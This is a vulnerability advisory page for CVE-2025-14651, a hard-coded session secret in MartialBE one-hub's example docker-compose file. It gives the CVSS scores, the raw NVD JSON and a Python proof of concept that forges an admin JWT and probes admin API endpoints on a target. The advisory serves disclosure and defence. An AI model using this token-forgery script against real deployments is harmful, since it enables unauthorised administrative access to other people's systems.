Security Vulnerability Report
中文
CVE-2025-14651 CVSS 3.7 LOW

CVE-2025-14651

Published: 2025-12-14 09:15:40
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability has been found in MartialBE one-hub up to 0.14.27. This vulnerability affects unknown code of the file docker-compose.yml. The manipulation of the argument SESSION_SECRET leads to use of hard-coded cryptographic key . The attack may be initiated remotely. The complexity of an attack is rather high. It is stated that the exploitability is difficult. The exploit has been disclosed to the public and may be used. It is recommended to change the configuration settings. The code maintainer recommends (translated from Chinese): "The default docker-compose example file is not recommended for production use. If you intend to use it in production, please carefully check and modify every configuration and environment variable yourself!"

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

MartialBE one-hub <= 0.14.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14651 PoC - Session Token Forgery # Target: MartialBE one-hub with hardcoded SESSION_SECRET import jwt import requests from datetime import datetime, timedelta # Hardcoded SESSION_SECRET from docker-compose.yml (from GitHub) HARDCODED_SECRET = "your-hardcoded-session-secret-here" # Target configuration TARGET_URL = "http://target-onehub-instance.com" def create_forged_token(user_id=1, username="admin"): """Generate forged session token using hardcoded secret""" # Standard JWT payload structure for one-hub payload = { "sub": str(user_id), "username": username, "iat": datetime.utcnow(), "exp": datetime.utcnow() + timedelta(days=7), "type": "access" } # Sign with hardcoded secret token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") return token def exploit(target_url, forged_token): """Use forged token to access protected endpoints""" session = requests.Session() headers = { "Authorization": f"Bearer {forged_token}", "User-Agent": "CVE-2025-14651 PoC" } # Attempt to access admin endpoints endpoints = ["/api/user/profile", "/api/admin/users", "/api/settings"] for endpoint in endpoints: try: response = session.get(f"{target_url}{endpoint}", headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed {endpoint}") print(f" Response: {response.text[:200]}") else: print(f"[-] Access denied to {endpoint}: {response.status_code}") except requests.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-14651 - MartialBE one-hub Session Token Forgery") print("=" * 60) # Generate forged token forged_token = create_forged_token(user_id=1, username="admin") print(f"Generated forged token: {forged_token[:50]}...") # Attempt exploitation exploit(TARGET_URL, forged_token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14651", "sourceIdentifier": "[email protected]", "published": "2025-12-14T09:15:39.523", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in MartialBE one-hub up to 0.14.27. This vulnerability affects unknown code of the file docker-compose.yml. The manipulation of the argument SESSION_SECRET leads to use of hard-coded cryptographic key\r . The attack may be initiated remotely. The complexity of an attack is rather high. It is stated that the exploitability is difficult. The exploit has been disclosed to the public and may be used. It is recommended to change the configuration settings. The code maintainer recommends (translated from Chinese): \"The default docker-compose example file is not recommended for production use. If you intend to use it in production, please carefully check and modify every configuration and environment variable yourself!\""}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://github.com/MartialBE/one-hub/blob/main/docker-compose.yml#L15C24-L15C38", "source": "[email protected]"}, {"url": "https://github.com/MartialBE/one-hub/issues/872", "source": "[email protected]"}, {"url": "https://github.com/MartialBE/one-hub/issues/872#issuecomment-3616033169", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.336384", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.336384", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.710249", "source": "[email protected]"}]}}